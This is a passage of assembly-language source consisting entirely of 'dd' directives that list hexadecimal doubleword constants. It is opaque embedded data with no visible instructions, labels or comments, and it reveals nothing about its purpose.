		dd 0C8722486h, 8B180010h, 5584D79Eh, 890F0F30h,	0C04AAE1Bh
		dd 85D9297Fh, 6B3C0049h, 0D042C64h, 5500A9A7h, 0D4EB90F7h
		dd 5724DEh, 8489C360h, 0FD32D8BDh, 0F629AE00h, 0D68AEF27h
		dd 0E9DF004Bh, 35442190h, 937EE822h, 77607600h,	0E1F7F0D7h
		dd 540500A7h, 0E860B47h, 4E00C7E2h, 31E462DBh, 1E80E013h
		dd 40D0E924h, 0CDDA7A3Bh, 741F292Fh, 1D008125h,	0DE6F37F0h
		dd 0F7AA00FFh, 6A10678Ch, 0A1005C49h, 0F639EBB4h, 7C09FB97h
		dd 68CE3F5Bh, 1D90E180h, 270FC810h, 613E7B00h, 47313C66h
		dd 74A20282h, 0EFA80B43h, 0C991B9C0h, 2AAD9B00h, 0BE7F0F66h
		dd 5C9E06F5h, 393D967Dh, 9F00F6B0h, 0AA6273E0h,	50FBE1D7h
		dd 28B1B8D3h, 84407Ch, 29EFB947h, 0B47E94CEh, 0BFF6FE01h
		dd 4A9986FFh, 9803D050h, 118A0073h, 19437C4Bh, 0F60254ABh
		dd 7597E913h, 59C280D3h, 0BAEC430h, 92ED5DB9h, 99C7A280h
		dd 0F1006337h, 61BE0B45h, 3C74280Ah, 6C82C8E0h,	7CFCA9E9h
		dd 0F48ABC80h, 23EF722h, 0E398000Fh, 1F41EF85h,	0CB630132h
		dd 4C54F6F1h, 1448C886h, 0E43ED800h, 0FCF91335h, 7A4A015Bh
		dd 8ED22EFAh, 7D804360h, 0F5404F0h, 33519906h, 185C6Eh
		dd 0B8EB09A0h, 52DAE17Ah, 0DEC4C618h, 406898h, 2A14B68Ah
		dd 0FF1DDF7Dh, 43D5A209h, 28582047h, 0D62B68h, 0BC383A8Fh
		dd 5BB91BCAh, 8C198500h, 4B473B0Ch, 36793C4Dh, 2B80EFBAh
		dd 235E2A2Eh, 0B4010B3Eh, 5DF855E1h, 5BE8BF59h,	45011EBBh
		dd 68E240D3h, 521596B1h, 91C0EC14h, 0EEF600C4h,	0F2A80140h
		dd 0C1E0A8F9h, 8AB50BF7h, 3571264h, 71696A37h, 0A0930598h
		dd 408083EAh, 1B19DECh,	0A50712C3h, 17F145C2h, 707E80BFh
		dd 1BBCD3h, 0FEF3C958h,	0C4247C65h, 0A70EF27Dh,	0C56F6B3Eh
		dd 0F4012A72h, 0C178CE4h, 1FB68C24h, 0C19F25F9h, 48D3ED5Eh
		dd 8CE824C7h, 0F6F0E0BFh, 0C0BE0059h, 7A5B9F68h, 94180183h
		dd 1540551Fh, 7D460734h, 0A776C3C8h, 0D470B0E4h, 97071CB9h
		dd 33D9938h, 0EFC2B130h, 17B300EDh, 915A9807h, 7900D0A2h
		dd 0CE2A5F92h, 9C3D3Fh,	0F0B32FB4h, 37C46D3h, 8B07D87Eh
		dd 8916F66Bh, 0D03563F0h, 0FCEB03AFh, 8D7F448h,	650020B6h
		dd 0EFDF569Eh, 0F61280Eh, 648F3D89h, 6C4BE580h,	340B125Eh
		dd 80A911E9h, 809AEF32h, 3BF30097h, 0DDCDD79Bh,	0BC0EE24Ah
		dd 8069F72Eh, 565B265Fh, 7E4B399Fh, 0A77C2180h,	8C0B6C0Fh
		dd 863FA40Eh, 0A2DAAE3Bh, 48DF8103h, 0F82ABB4h,	98FB2A1Fh
		dd 45D05122h, 70DD5841h, 1607E63Ch, 58EAB76Bh, 3B93B570h
		dd 85F6006Ch, 0ED05A215h, 5E02F1B8h, 0C2DBD132h, 2D848708h
		dd 0B66DF470h, 4B16008Ch, 0DD4C58E7h, 1E03673Dh, 0C3898EA2h
		dd 7C803F0Eh, 0A9B1Fh, 7AF42507h, 6103FE69h, 0E34E29E8h
		dd 0DA50E777h, 3C4499EDh, 3F805F85h, 2B4CF2A6h,	8200F153h
		dd 7DF42947h, 306AAA7Bh, 98104E7Eh, 63000BBDh, 8D324F45h
		dd 18FB52BBh, 2054CC89h, 5E004192h, 7433FFB5h, 44CD875h
		dd 0DB55F1DEh, 0D3B080E4h, 3B0012F7h, 0E7354680h, 0C1F939h
		dd 58F59DEEh, 0DE4D0853h, 27C0EB4Ah, 0F3F6B2h, 18FEB931h
		dd 1FD9092Ch, 4A90AE1Ch, 0FB348500h, 0FB4B72A9h, 0C0D28BDCh
		dd 0EF661220h, 370198DFh, 5CCEBA9Ah, 0C7DC0D46h, 3F1B0091h
		dd 6B569C40h, 3300178Bh, 0DE9D7227h, 789C7F7h, 0ED80AD2h
		dd 546B80A1h, 46002ECEh, 50A275E5h, 0DCC1E0h, 0B1A3DA78h
		dd 89D2ECF1h, 30FCA00h,	55BBEE4Fh, 9B1100F4h, 0ECA3C3E9h
		dd 0BFE25748h, 9FC98904h, 87800D13h, 0FA4BADh, 0D9A4AE97h
		dd 33548A65h, 16422203h, 66650DFh, 0E290A762h, 800B8DDh
		dd 32119837h, 3F1AC1h, 0B90D02BDh, 9CC9B90h, 23A98300h
		dd 0BE507DD2h, 32DF00F0h, 2BF38B05h, 1E00AEF6h,	0B9DD7626h
		dd 5C077B56h, 8903F52Ah, 28E95387h, 59D61000h, 0E76E5CB2h
		dd 7E9D0083h, 80C17F12h, 0C2003CC4h, 0B3B059BFh, 0AB3F26h
		dd 995FD2A6h, 29F310C8h, 0D1155C00h, 0FAFA7C6h,	3A4A0E30h
		dd 70609491h, 6C13FDF8h, 479EF00h, 0FF61A84Eh, 82A302CCh
		dd 240D7A8Ah, 0C1A0DB63h, 120571BAh, 45C53867h,	213D5680h
		dd 0D093007Bh, 0E8F8223Fh, 0D5079239h, 0A887130Bh, 1ACEF6F1h
		dd 330DCD4h, 9DC08B40h,	0D0FF2DF2h, 84EB5318h, 4D175401h
		dd 0AF37F5E2h, 0B4D80A31h, 38C00A7h, 3CDC8147h,	677EF936h
		dd 0F5339278h, 0C3831114h, 33C7E069h, 4C81C625h, 0F93008FCh
		dd 675D2061h, 54E87Bh, 624D9CBh, 0CB743FAh, 0B901FE74h
		dd 0BE3868F4h, 36207E71h, 3E3107FDh, 306AFA11h,	29C260Fh
		dd 42257500h, 0D06973FFh, 0F880C07Fh, 0ACA1D1E7h, 0AA580D0Bh
		dd 0A0F880D8h, 0A0776AD2h, 132A248h, 9C15B383h,	0D01E0F49h
		dd 0FF0C110Eh, 4834C07Eh, 0DEB60EE8h, 3E2BFDF0h, 3B21E00Eh
		dd 0CC56E596h, 1D01EFC7h, 3780F863h, 67E4F9E4h,	64FC00ACh
		dd 699FAA02h, 3900C1DDh, 0E0FA154Eh, 8750A1h, 0F4584208h
		dd 0AE9555F9h, 0D8A88900h, 6E12D7FBh, 0E2A9F43Ah, 41AA0039h
		dd 69D2BAC3h, 0AC034F91h, 1C05E52Fh, 36DDC03Dh,	25E90F85h
		dd 6820AA70h, 0FAAF7304h, 6A839B00h, 0E05EA72Fh, 3AF700ABh
		dd 7316CA66h, 0FB0023CCh, 2432527Fh, 9E572Ch, 7EBEA994h
		dd 0AD0D8580h, 3644490Eh, 0CCF3E021h, 7C7D9648h, 4BF70011h
		dd 0E8461E3Ch, 0E8A40142h, 77009879h, 952B6756h, 74437F25h
		dd 0E5B03092h, 770EA120h, 7A01B577h, 0EE652972h, 58822498h
		dd 9A7BA473h, 5B1803h, 0B59F4230h, 91B28644h, 61021F4h
		dd 0F0444BDCh, 27594CE8h, 47D86705h, 310C01C0h,	0D4335304h
		dd 593950D1h, 22F6000Fh, 0E0FB8ADEh, 69360C62h,	883184C0h
		dd 74E25E1Ch, 0FC3EF503h, 4C093067h, 0E246A821h, 35A26300h
		dd 12CCFD82h, 67570099h, 9BFA4DEh, 214F662h, 23309ED2h
		dd 0E25B004Eh, 45BDFF59h, 3D544486h, 3E24307h, 0DB06B574h
		dd 7A8B7CF0h, 881130E5h, 0DC3CAA10h, 0CB82A401h, 832D4A60h
		dd 39A31FCh, 0C3BDBC8Ch, 25A8E6D9h, 2E00E508h, 19C26135h
		dd 0B8DA760h, 80854831h, 7D9BC300h, 6A072941h, 40D41FE8h
		dd 3BF17E40h, 0CCAE00CBh, 86DF44C4h, 0A6000AF5h, 3427C602h
		dd 1306DBBh, 8C0E92Dh, 0E0A0C122h, 0D3F68FA3h, 6CBF2100h
		dd 40EB1C43h, 0A2A25C05h, 1E8AE503h, 8380A1B5h,	71021082h
		dd 1720F962h, 13E3607Dh, 5203008Ah, 0FB271549h,	0D302FF67h
		dd 1C797AD6h, 0F9CC40CEh, 594C01D7h, 8853D582h,	17AFF087h
		dd 0BBE6770Eh, 0FCBC05Bh, 201A43h, 0F9DE0DA1h, 0CE13A9E5h
		dd 8315B000h, 7B5D5E8Eh
		dd 59F66Ah, 0B2B3277Ah,	61AB3ADCh, 0F35C3500h, 0D66AB660h
		dd 34D10FD2h, 5B617ADFh, 0CCFB7E4Ah, 20004318h,	135DD94Bh
		dd 992A2Eh, 59AB891Ah, 63105B28h, 0A68FB400h, 7CCBDDCh
		dd 9DB37841h, 0A9CD7100h, 390F628Eh, 8A797FD9h,	187C04D6h
		dd 4038A99Ah, 940024B1h, 0E297117Eh, 7889726Ah,	8F51015Eh
		dd 46E39AFEh, 9E288E2Fh, 561190BEh, 0A2B41169h,	1E08E721h
		dd 845A90C1h, 0AB48A3B2h, 8E22C244h, 89AD2910h,	0A15F08AFh
		dd 0A108923Ch, 84B3AE44h, 42BDBE22h, 0A8C71106h, 480C7721h
		dd 84CAF127h, 44FB6622h, 0B90091BBh, 924EC86Bh,	70373h
		dd 0FD598C49h, 71D6FEBCh, 0FF879600h, 221CA1A0h, 24330FB3h
		dd 2DC72AEDh, 20E15090h, 890FA518h, 3CC79Dh, 0A10A443h
		dd 3D2200D3h, 0B416F1BFh, 0FE00E3F4h, 0F6D88A37h, 1718FDB0h
		dd 0FC78E4h, 0F799842Ah, 0BD50362Ah, 8B1FC18Eh,	5A47C811h
		dd 9D75F16h, 0D5D44700h, 19CE0368h, 2E4A8632h, 80FCEDC9h
		dd 6EB8C110h, 0A04B49h,	773BB4F8h, 1B72F5F6h, 6CBA9807h
		dd 0E46E3805h, 1490BE63h, 0E09E25h, 7785B3B9h, 0AFD2491Ch
		dd 0A3ABD40Fh, 4D10C04Eh, 0FC696FD0h, 2401BF1Eh, 0E891AE26h
		dd 3E0095D5h, 3359B22h,	6CE94A6h, 3D85512Fh, 48002096h
		dd 0CD662407h, 181B1AC5h, 78893E2Bh, 5F00D06Dh,	3D4FF770h
		dd 8355CFh, 0AD42314Dh,	9A77D3B0h, 7E0EC700h, 92A3BC01h
		dd 0CD7083h, 29AB730Ch,	36DA2E45h, 8E004FEAh, 128FF1D1h
		dd 0A054Eh, 0B2EF7F32h,	6AA7A4D0h, 17719B0Eh, 0D3B2737h
		dd 0E890D7C0h, 30100033h, 0F093F322h, 0AC03785Fh, 26F5D108h
		dd 0E9418898h, 31920470h, 803D49C3h, 0BF0377A5h, 7FA88E26h
		dd 2B651B00h, 8F0C4Fh, 10320229h, 6BE228FCh, 1770505h
		dd 0DC801A40h, 24FD5A5Dh, 0CC7BDDh, 23A35214h, 5B03DCB4h
		dd 0D28566CBh, 4A4998EDh, 0F0B70138h, 0CE57C70Fh, 6DC5CC30h
		dd 800CE93Bh, 1067A1A6h, 7659280Eh, 3EB11EBBh, 93234346h
		dd 0AC98BFD5h, 0F10F176Fh, 0A0428CC7h, 502F2F9h, 5CBA0E4Bh
		dd 0D302A2FEh, 0FCA79C5Dh, 800A1429h, 83B51B20h, 0BA44918h
		dd 281E3A10h, 999AAF7h,	0D0D64F8Eh, 0F4152CA3h,	96894590h
		dd 16AB8503h, 0B0500112h, 492FE6h, 0C00310DCh, 2D9190BEh
		dd 0FF153Eh, 6E7151DFh,	0A6254h, 0F7A7D003h, 28F94726h
		dd 0C10E431Eh, 0E65D2A40h, 7271F281h, 0E0E2F311h, 0C2BE37h
		dd 2D92D193h, 3E1A3640h, 65C4901h, 370C538h, 0D815D040h
		dd 3B3990B0h, 0BD800D0Ch, 7C8ABB31h, 0A2FAD3ADh, 0BF7B9700h
		dd 506C3C48h, 343A001Fh, 63D77FFCh, 0E00C374h, 2E0C420Fh
		dd 0B0C644ADh, 0C01705F0h, 20953D3h, 6D7975A7h,	35D88487h
		dd 0D7950558h, 59C58060h, 0C00C309h, 374555E5h,	0E87D23h
		dd 997B1A19h, 4F076A4Bh, 2A2D8000h, 75E7DD4Ah, 5C5600C3h
		dd 0F2CA33FFh, 77183074h, 829448F0h, 22750043h,	71E88F6Ch
		dd 357D0E2Fh, 45A46600h, 0E33763E6h, 0EB1A0285h, 0D29D081Bh
		dd 8A4500D5h, 78A454h, 44F8DB2Dh, 0C07703D9h, 6D383409h
		dd 0F2800E8h, 12809740h, 4E78FEh, 0ABD08DA4h, 0C60AEF2h
		dd 6E51F868h, 260D765Dh, 6004B8h, 0E1C56CE2h, 300F25ADh
		dd 8481E47Bh, 18C0836Dh, 2657960Dh, 40B7D5h, 0D846A75Bh
		dd 890023A9h, 2A173338h, 40761Eh, 64CB5074h, 4C1562Bh
		dd 86E9D000h, 519C959Fh, 0E5E200DFh, 7233F91Ch,	4500F613h
		dd 0E987948Bh, 1BC5FFFh, 779C8161h, 0D897C81Dh,	0BD094E0Ch
		dd 8F542A19h, 0C19DC57Ah, 0DB40E01Fh, 9E697831h, 26AB009Fh
		dd 0EE3B537Bh, 90007AF2h, 0EFD1D346h, 0BD7829Ah, 3441BC5Ch
		dd 0AC19C00h, 0BE0099FBh, 37134362h, 48695C5Ah,	6680C8ECh
		dd 0D1900F17h, 80EC6C48h, 0D8C509DEh, 12DD0081h, 39554870h
		dd 2C1698ECh, 10023E11h, 4031A3BAh, 54B0FEA4h, 3D33B8EDh
		dd 0FEE054h, 0AC6D206Eh, 77165523h, 0E4A8AD51h,	8A02AFDCh
		dd 64B99C8Eh, 80662Fh, 66D54658h, 0AA4205FDh, 339BC603h
		dd 0F82ECF5Ah, 26790777h, 9003EBh, 19CA55CDh, 0C42E0D9Bh
		dd 342C4867h, 1446EE80h, 6B4723h, 0D568048Dh, 83698FB8h
		dd 6E44F703h, 7B765Fh, 0EA4AD118h, 30C729F2h, 0FDCCAE0Dh
		dd 0E2E04835h, 29C86FF1h, 958BF5A1h, 0EC76F0B3h, 712B8D12h
		dd 0AD7D7400h, 5920D366h, 0E079CFDh, 0EC94A5D9h, 0E1011A20h
		dd 0E4CE3ADAh, 8DE09782h, 151000FDh, 9BC1E894h,	7D006221h
		dd 0A3F53A30h, 905713D1h, 0DD51007Ch, 0C72789F1h, 493E295Ah
		dd 4FE789E0h, 0B12020E8h, 18CEFA8Fh, 0A8C24377h, 0E7074730h
		dd 0A9B4E1DAh, 3C8B61F0h, 0AA8CA0FFh, 8651DB0h,	0C1BC494Eh
		dd 0BF325300h, 5E02ADBEh, 0B8A54B03h, 0BBC0DFC5h, 0CE02FEAEh
		dd 1481F71Dh, 5C406095h, 0F48400BEh, 7E0F4464h,	3700BA5Dh
		dd 0E070E632h, 9003B36Fh, 0A87D02B0h, 956C61B7h, 0C0D57860h
		dd 11DB10C3h, 0AC08E06Dh, 120A282Bh, 0BFD30398h, 814B56D1h
		dd 0FD5243A1h, 3CCC41D0h, 288DD426h, 0E903F200h, 6C720E05h
		dd 43EB0E77h, 1E613E38h, 20DE323Ah, 220107CAh, 807B64C7h
		dd 0E44037C1h, 768941h,	0C0E43218h, 0DDD8B794h,	8C6CEA01h
		dd 0E8212551h, 1C8FECh,	23D3EE53h, 895D32BDh, 1DB441Dh
		dd 0C9F39140h, 0D6ABAD5h, 3A97A017h, 0B121CCB8h, 0BB053D05h
		dd 14818BAEh, 0C4CC2363h, 69C0E30Bh, 3EDE0081h,	6F31E365h
		dd 0E504FB1Ch, 1524C147h, 64CAC0C0h, 684109A2h,	2020B25Eh
		dd 19741329h, 0A5095F02h, 0C1D1F932h, 41E58164h, 2C2172F9h
		dd 1E12A7F8h, 7665367h,	0D08A689Eh, 0B27EE6A4h,	0A5071403h
		dd 62952Fh, 2CF00C68h, 747B3FDEh, 4D9AE005h, 0AF80EF1Dh
		dd 1E6CE129h, 0C0E47006h, 50BDCFF6h, 5981B46h, 2E3E3901h
		dd 27C983E1h, 0CF3B8DCh, 7A8ECFDFh, 5B00C488h, 5D8CD8C3h
		dd 17424774h, 135604h, 0C8367624h, 0B4009003h, 8A2D933Ch
		dd 9887E6D4h, 0D2BD0604h, 0E5A89E1h, 0EA710700h, 0BE98C3A4h
		dd 69FC79h, 1CD4DE0Eh, 8E226DF3h, 287CBCB8h, 0DB403491h
		dd 12156C10h, 1DFBA675h, 0D0D261h, 45051A3Ch, 0C800C7B8h
		dd 1B2185F2h, 7E798095h, 9C283263h, 93409329h, 6B0B2712h
		dd 5D621D98h, 33156500h, 0EC029206h, 0CB618440h, 0D4E18838h
		dd 4008B60Eh, 930F2BA1h, 13A022Ah, 371C09EFh, 4A614440h
		dd 85AD22h, 0DC32C59Dh,	477E3E79h, 615C300h, 0DC8A9ADh
		dd 237C07D9h, 0C05C5382h, 676F0E58h, 2699A100h,	986CA90Ah
		dd 14AE0055h, 0DCD97E11h, 9B405BEFh, 6D4700E6h,	0B11C123Ch
		dd 69078EB7h, 0B86079FBh, 70875C70h, 0DF274C8Bh, 0CFAEF400h
		dd 2F0F53A8h, 701B0ECh,	0A44DED3h, 0DCD811A3h, 7CC762B5h
		dd 1C60D83Eh, 0C8B16A75h, 0BE038C4Ah, 8A927F63h, 4CC8A052h
		dd 0F6599AFh, 64098D40h, 58ACCBC0h, 30008BA6h, 11064A32h
		dd 6DB6DDh, 0D873E510h,	451F42B1h, 957F2D00h, 0D639268Ch
		dd 926F1F0Ah, 0DF01C0AAh, 36145F1Dh, 741348h, 2235B7B9h
		dd 109CC8h, 21EA66FFh, 700D1E3Dh, 856E8C38h, 59B9EE4Fh
		dd 91BC400h, 8330E913h,	0D81E81D1h, 2800FBCAh, 42D08F8Bh
		dd 1C8445C1h, 391D79h, 5B3488BCh, 7B00BA96h, 0F266DAA4h
		dd 29E54Ch, 0D01B9975h,	2F12A32Dh, 189FF810h, 0A9892200h
		dd 0E00915F0h, 11CCAD00h, 0DD0E744Eh, 0F0E350FAh, 7DAFC62h
		dd 0F080EDF9h, 1F43A36Fh
		dd 0EB01A90h, 214D8902h, 48139693h, 501987CCh, 20FEC8BBh
		dd 3809D93Ch, 0B435Eh, 607C66ECh, 18B0080h, 0EDF79A7Eh
		dd 0F5735D3Dh, 0B2211200h, 0FD6A3382h, 0C6660F0Bh, 0E43587B9h
		dd 0CC573100h, 0B60C5DAFh, 0D600E498h, 0BA705CDBh, 27D3C42h
		dd 8F25DDD4h, 20442353h, 3D94D200h, 0EEEFEBB1h,	0F85200ACh
		dd 28F7DBAEh, 0F6002348h, 2DD75B91h, 0D62904h, 385F5D82h
		dd 7358A5FDh, 514F3300h, 85A6FC9h, 1E90736h, 1016E7h, 4CC00996h
		dd 467EA00Fh, 0CADB806Eh, 0FC142CFCh, 885C0084h, 85CFEDF8h
		dd 8E00943Ah, 8BD2B6E5h, 0F1144Eh, 0BA5C726Bh, 4A10F8DBh
		dd 0D506F071h, 7D4F0C78h, 618D0090h, 0AF673820h, 0ED31A0EFh
		dd 0C741843h, 1114FD8h,	8185FF0Dh, 0ECC9D6D7h, 0D20006B2h
		dd 5B884A0Ah, 0C0ECB7F7h, 16A4C880h, 2B0E3A7Ah,	8538937Ch
		dd 0E6806960h, 791099Ah, 349D63Fh, 0DF1AA017h, 0D0006BFh
		dd 0EF41405Fh, 75358Eh,	21201E4Eh, 13E83B78h, 6287E400h
		dd 8431CCFh, 0B27223h, 40DEEAFh, 0FD30B0C4h, 0FE422C00h
		dd 8D26A64Ah, 942E00ABh, 8C0774D6h, 0BE003D11h,	31C76773h
		dd 4BE401h, 9A0D780Bh, 8930E316h, 0FBDBA80Fh, 9ED2A010h
		dd 3DF56D7h, 62FE9F26h,	54C006D5h, 7F022AB2h, 7A07302Ch
		dd 36E244h, 0A2197184h,	731E63Bh, 0E48F9675h, 56D3F0B3h
		dd 430F22C5h, 0E0AC03E7h, 40855B02h, 2AFB149Bh,	8305B48Dh
		dd 2FE0D2Bh, 0A9E42DC4h, 0B9A7B8A0h, 1807D78Ch,	0FE9414Dh
		dd 0B440B4A5h, 96A2FDBBh, 0A5E248h, 936FC0CEh, 6711F924h
		dd 700D0E6h, 6416E210h,	33DD1E56h, 0C4C0BEB1h, 2FF94FB8h
		dd 0A4C11828h, 0AE0AC703h, 0A9DC8AA6h, 73F43069h, 0A467052Ah
		dd 9AE579h, 8AE005B0h, 9B80A7DBh, 6E900DEh, 819DB928h
		dd 5002DACh, 8EE177D8h,	39BC3B13h, 671C7E49h, 51390373h
		dd 5B808C2Ah, 87002EE2h, 0EF66DA6h, 1005F250h, 355ACBAh
		dd 0CA9FBECFh, 0AF96D08Ah, 255901FBh, 0B57E503Eh, 0F4F6F0CEh
		dd 1EECFD05h, 90802154h, 2AC6BD4h, 0F2852C77h, 0A080D1A2h
		dd 7CFD7918h, 370E0B01h, 30B3B2EDh, 0B8FE20h, 0E6FB85CAh
		dd 0CBB0D9C3h, 3DEEFC03h, 4A5A175h, 0A0E843E0h,	93849399h
		dd 0E5F69000h, 4EC0F370h, 0BFE40Ch, 31F309Eh, 0B567BBF5h
		dd 0A4C92F18h, 92B141h,	0A112FA25h, 0A09FC4Dh, 3D37360Ah
		dd 0D880F073h, 0B84A8BFBh, 1A830027h, 1CCA2E2Fh, 6824DD2Ah
		dd 0CD00F845h, 0B67D130h, 0FC400538h, 14BC61D0h, 1407FC94h
		dd 40E7F472h, 52A7D643h, 770E1DF2h, 80BEA2FFh, 0C2796406h
		dd 0EEBC0753h, 10386837h, 12E89399h, 0BBB61B00h, 0F8AFA61Eh
		dd 4AE73E22h, 0AB370580h, 1B6533F5h, 0B5A70D00h, 0EA14C671h
		dd 25783812h, 2EAFFE80h, 76FDFC0h, 0C5002D90h, 52A60BF3h
		dd 1DEEF629h, 0FF1E697h, 0BC6E9F5Fh, 1B5C77E1h,	0AA0EF8DFh
		dd 87BFD00h, 9CEAB318h,	5483016Ch, 0ED435339h, 9A5E3066h
		dd 0E58D3A00h, 0EF85C72Ah, 4EE3008Ah, 2FB288E2h, 0F628254Dh
		dd 3700D090h, 6F52D15h,	397CF2BEh, 9D0047C0h, 0E9441C38h
		dd 0F600C197h, 0D2086778h, 0B6F490h, 0EF5AE594h, 48A8995Eh
		dd 4C91E63Bh, 74077AB3h, 2A07414Ah, 8D115537h, 0E320A128h
		dd 0B92900D1h, 0B488D0F0h, 0C50768A0h, 8936FE18h, 5E2F7A80h
		dd 0DF650080h, 0A561028Ch, 5B02CD42h, 2E45277Eh, 87D18005h
		dd 98D72A71h, 43290175h, 0B8ACFB80h, 7351E039h,	808CA43Dh
		dd 7F3616F1h, 588DCBA0h, 8005571h, 76BE1762h, 57039F64h
		dd 0C7D2AACh, 0C9F4E899h, 300A0085h, 366CEE1Ch,	3516FE44h
		dd 2C40043Ch, 3042F2C5h, 23DF280Dh, 0BC6E06ECh,	10DE5CBBh
		dd 88F1D213h, 3EF78400h, 7FC7D854h, 0B5F2006Dh,	55C669DCh
		dd 5498771Bh, 0B9734300h, 94BC1922h, 0DE1F0020h, 0CEAED22Ah
		dd 0ACFEF8C8h, 2177B218h, 0B0552618h, 118E625Eh, 40D51774h
		dd 0FC315C24h, 0BAFF006Dh, 0DCF34528h, 3A1CC63Eh, 0DE07F28Fh
		dd 0ACA09308h, 0FB334C8h, 0EDE96DCDh, 8265CA80h, 7100C513h
		dd 0D9DA95C0h, 3AF29FCh, 0CEEABBDCh, 0C7B01723h, 30003FB0h
		dd 42A64522h, 1E03AEDh,	93FF9BB3h, 0E4CA35A4h, 447CEB62h
		dd 88CB1C24h, 0D7362A00h, 921B5E1h, 7DBFF458h, 0A2C64400h
		dd 0E6006A8Dh, 8B6F8F92h, 0B48A1FCh, 9DEE4EF1h,	0F5BD0980h
		dd 4360B5E9h, 2E2B5F70h, 787964h, 2AADDF8Dh, 0AF018F17h
		dd 0CE99D600h, 0A724371Ah, 84C41DF8h, 0DB9268h,	347ABD82h
		dd 7E001B4Fh, 642AE37Fh, 0E5923Ah, 793CA702h, 0ECD0E445h
		dd 8022FF3Ch, 33670F16h, 1BB260h, 4DAC95D1h, 77102F7Eh
		dd 9C7F0C00h, 22E7D7D2h, 0E4900B1Ch, 0A08280h, 2C5539ECh
		dd 0CA83481Eh, 0DEA4E00h, 2C92EDD2h, 8374C0DDh,	545E186Eh
		dd 0C41BE087h, 1A005F85h, 4CFDCC94h, 1FC2A938h,	0C96B5949h
		dd 50008874h, 696FF161h, 83EEE271h, 0CC3DEB24h,	0E14E5904h
		dd 198AB0D2h, 9C6442EDh, 0EA599898h, 3C49872Eh,	79633780h
		dd 90861Dh, 5EE69CEEh, 19B30F3Fh, 0B2A98700h, 0CE08BF42h
		dd 30DFAEh, 48B669D7h, 7C60593Bh, 0ADCFBA20h, 0F02561C7h
		dd 0EBE174F9h, 0DCD92BF1h, 0B9134E8Ch, 5C40E846h, 0C96FA7AFh
		dd 0B5EC30F2h, 0FF49F8D8h, 43823600h, 0F642E4A9h, 75860095h
		dd 0AA8E9DF3h, 37007350h, 71DD5553h, 0EA032DB7h, 0D8D2030Fh
		dd 93729AAEh, 92AF1CE8h, 0C0CA160Ah, 0CF00888Fh, 7FBCB47Ch
		dd 0E37E0F05h, 2760AFFDh, 0D18B83EEh, 8209AC00h, 56C0DCDFh
		dd 2EAE00A6h, 88155F20h, 233C38A7h, 18B08601h, 4C79D859h
		dd 0D9056840h, 0D38A3DDDh, 45984F6Ch, 4B1ECE1Dh, 730119EDh
		dd 0DEFC94E9h, 1F96830h, 5F74DBA9h, 226644F0h, 6AC902F8h
		dd 0C8C0CF6Bh, 2EDD164h, 0D8CC349Ch, 0C402055h,	610C5157h
		dd 101AFCB8h, 4A9F00E2h, 0A245505Ch, 434DF24Ch,	3F911D24h
		dd 0D9C23C00h, 45B789h,	0DA7228BDh, 9AF0DBF8h, 0B6E64A02h
		dd 480923A9h, 90A3F600h, 42E2BCh, 0AABCE262h, 4BA767E3h
		dd 0CE217605h, 0EC002C6Eh, 8EBE09Ah, 0A0D20026h, 0B042EDADh
		dd 0AA28608Bh, 0B600E4B1h, 48763D88h, 279E51h, 0F15F027Bh
		dd 1DA46383h, 5928CB0Fh, 0DC36E10Bh, 10283152h,	7B17A100h
		dd 0BC18EA41h, 0BDAF3E24h, 24E0A00h, 590728h, 4CCE9306h
		dd 75408E20h, 8060053Dh, 3417AC22h, 92DF9A37h, 8507A080h
		dd 0D51002F7h, 0A6BF0B4h, 87E1A740h, 0D606202h,	0C05CAA01h
		dd 0FFA7E2h, 4D54A821h,	8F552E76h, 3F2B300h, 2CBE0B94h
		dd 20A000F4h, 2285CFD8h, 0E538E67Dh, 0D8B4B0B8h, 1B645D9h
		dd 0CABD8267h, 2CF60A4Bh, 0A835C318h, 0C9E0BF96h, 592F7h
		dd 0C59C5C74h, 0E7193A1Bh, 0D1D758C0h, 31351DEh, 0F68CB1F0h
		dd 30C75C88h, 0F5476E26h, 0BEB56806h, 35C7F50h,	9604234Dh
		dd 0AAB0C837h, 98002AD8h, 0A8C0B807h, 3BAC70D6h, 0E3800DE4h
		dd 2869B7F0h, 0BD00DCCFh, 231297D2h, 0BFAC6D3h,	6711D9ABh
		dd 8F636480h, 7700A5FBh, 7C52882Fh, 4C0493B1h, 31001EDEh
		dd 0ADC67CAh, 0DF7A7D71h, 0D98A600h, 0AC04F0BDh, 320E07DBh
		dd 616F4E3Bh, 0BCE002C1h, 0ADA80F38h, 505E125Bh, 0CE589180h
		dd 0FF0658Fh, 4DC3D885h, 0DB9EB8C3h, 36262088h,	0B2FD8101h
		dd 1063F2A0h, 0E4197C0h, 0CB3A5CEEh, 9880A84Bh,	8CC11394h
		dd 0FC600628h, 4E687C00h, 0B0B27F56h, 702D6FE6h, 2FAB2482h
		dd 0B8AACC68h
		dd 0AC590A0Eh, 0A62582A0h, 0D810E071h, 5FF8B0h,	1A9DC909h
		dd 50935786h, 0FD1E5200h, 7F603967h, 58A907E1h,	304F8881h
		dd 83BE90E8h, 560070FAh, 0D63ECC02h, 0FFEC3h, 8EFFAC84h
		dd 80D59348h, 0A95B4E00h, 30292FD0h, 2BBA0271h,	1EE0FCDh
		dd 0ED818CA0h, 0C067AA90h, 5E200CA0h, 642B6h, 8740E43Ah
		dd 0D01B8BE6h, 2B8CDA00h, 238DE802h, 0D73D0014h, 48080AB3h
		dd 0B2E327Ch, 0F90022E2h, 0E1A45292h, 7A8800C5h, 0D19FF5C9h
		dd 9A07C4DAh, 751F3C39h, 7CE9E1E0h, 5CFC1C66h, 187A0E8Dh
		dd 1E9751E0h, 0AC000971h, 0D46AE04Ah, 759E2A8Bh, 7677BEh
		dd 0FF4BC82Ch, 0D8C5CCFDh, 9465ED00h, 2F5FCFF1h, 7E93008Dh
		dd 7F686288h, 52006378h, 0B1A37BFDh, 0EFF6E33h,	99C8FEA4h
		dd 9DDD6CA0h, 9100E479h, 8D25E319h, 0B8AD8345h,	0D2ED0345h
		dd 0E40CBC87h, 322A0698h, 0D67BB901h, 860BC114h, 24C8F435h
		dd 0B57100E5h, 916C1CA8h, 9600A0D4h, 0D1F1D3C3h, 754FE3h
		dd 424658C1h, 62B171C0h, 0DE6D4000h, 5F08EE68h,	9B4A1E16h
		dd 29E100B0h, 0B87369C6h, 99F6ED00h, 4959792h, 0F053005Bh
		dd 43D2F96Eh, 0A53CD440h, 300C8951h, 0FAC58010h, 124E96h
		dd 0EAC692D3h, 7FFE17D0h, 8574A300h, 731447C9h,	77AE004Dh
		dd 87FBE4EBh, 59120407h, 58851A10h, 0AB045850h,	0AF0116ACh
